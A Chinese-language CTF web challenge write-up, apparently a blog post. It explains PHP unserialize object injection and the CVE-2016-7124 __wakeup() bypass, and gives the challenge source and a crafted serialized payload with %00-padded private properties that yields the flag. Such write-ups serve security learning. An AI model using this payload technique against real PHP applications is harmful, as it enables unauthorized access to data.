zoukankan      html  css  js  c++  java
  • CTF web之旅 45

    提示备份文件 直接url/www.zip得到源代码

    分别得到以下关键代码

    <?php
    include 'flag.php';
    
    
    error_reporting(0);
    
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
                
            }
        }
    }
    ?>
        <?php
        include 'class.php';
        $select = $_GET['select'];
        $res=unserialize(@$select);
        ?>

    看来是一道php反序列化漏洞利用

    先回顾以下前置知识

    常见函数

    construct():当一个类被创建时自动调用
    destruct():当一个类被销毁时自动调用
    invoke():当把一个类当作函数使用时自动调用
    tostring():当把一个类当作字符串使用时自动调用
    wakeup():当调用unserialize()函数时自动调用
    sleep():当调用serialize()函数时自动调用
    __call():当要调用的方法不存在或权限不足时自动调用

    序列化后格式

    O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
    对象类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

    当目标对象被private、protected修饰时的构造方法。

     

    __wakeup( )绕过

    (CVE-2016-7124)

    反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

    影响版本:

    • PHP before 5.6.25
    • 7.x before 7.0.10

    构造序列化

    <?php
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    }
    $a=new name('admin',100);
    $b=serialize($a);
    echo $b;
    
    ?>

    得到

     跳过反序列化时wake_up函数的执行

    令对象属性个数为3 并且考虑到修饰符为private 需要在类名左右加上%00

    构造

    ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    得到flag

  • 相关阅读:
    Python多进程实现并行化随机森林
    Python多进程队列间传递对象
    Umlet和draw.io 使用心得
    简单认识Adam优化器
    使用BERT进行情感分类预测及代码实例
    【深度学习】深入理解Batch Normalization批标准化
    Vue插件总结
    Vue配置环境识别
    pc端微信上传BUG
    Vue原生订单列表
  • 原文地址:https://www.cnblogs.com/akger/p/14860773.html
Copyright © 2011-2022 走看看